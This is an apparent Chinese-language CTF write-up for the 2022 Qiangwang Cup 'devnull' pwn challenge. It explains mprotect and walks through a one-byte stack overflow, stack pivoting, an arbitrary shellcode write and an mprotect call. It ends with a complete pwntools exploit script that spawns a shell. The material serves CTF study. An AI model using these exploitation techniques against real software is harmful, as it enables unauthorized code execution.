2022 强网杯-Devnull

2022 强网杯-devnull

devnull

devnull

程序分析

image

可用来修改可执行

image

mprotect()

函数可以修改调用进程内存页的保护属性,如果调用进程尝试以违反保护属性的方式访问该内存,则内核会发出一个SIGSEGV信号给该进程。

#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。

思路

栈溢出1字节修改fd为1,得到2个标准输入,布置栈迁移覆盖buf到0x3fe000,任意地址写shellcode到buf里,mprotect更改可执行

修改fd=0

1
2
3
4
5
6
7
## 0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret
movrax=0x0000000000401350
## 修改fd=0 
## 0x3ff000 覆盖buf任意地址写
## 0x3ff000+0x18 给 mprotect的1参,ret地址movrax,执行后0x3ff000+0x18=0x3ff000
py = 'a'*0x20+p8(0)
py += 'A'+'b'*(0x13-2)+'C' + p64(0x3ff000) + p64(0x3ff000+0x18) + p64(movrax)

image

读取前

image

读取后

image

image

栈迁移

image

任意地址写

image

写入的内容是

image

image

这里程序关闭标准输入

image

栈迁移

mprotect 的addr由rax控制

image

rbp-0x18 = 0x3ff000(前面填充了shellcode) 刚好给 _mprotect,rdx刚好是7设置为可执行

image

执行_mprotect 将0x3ff000设置为可执行

image

image

完成栈迁移

image

getshell

image

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
##coding:utf-8
from pwn import *
context(arch='amd64',log_level='debug')
context.terminal = ['tmux','splitw','-h']
p=process('./devnull')

if args.R:
    p = remote("",)

def debug():
    gdb.attach(p)
    # pause()

## 0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret
movrax=0x0000000000401350
## 修改fd=0 
## 0x3ff000 覆盖buf任意地址写
## 0x3ff000+0x18 给 mprotect的1参,ret地址movrax,执行后0x3ff000+0x18=0x3ff000
py = 'a'*0x20+p8(0)
py += 'A'+'b'*(0x13-2)+'C' + p64(0x3ff000) + p64(0x3ff000+0x18) + p64(movrax)
debug()
p.sendafter('please input your filename\n',py)

mprotect = 0x00000000004012D0
py = p64(0x3ff000)
py = py.ljust(0x20,'\x00') + p64(mprotect) + p64(1) + p64(0x3ff038) + asm(shellcraft.read(0,0x3ff04d,0x100))
p.sendafter('data\n',py)

## /dev/pts/1 在id=1的终端显示
py = asm(shellcraft.open('/dev/pts/1',2)) + asm(shellcraft.sh())
p.send(py)

p.interactive()

参考:

VerF1sh师傅讲的很清楚

https://www.bilibili.com/video/BV1zg411C7Vy?spm_id_from=333.999.0.0&vd_source=588c81f7da410bd063320fb61b1fc983

0%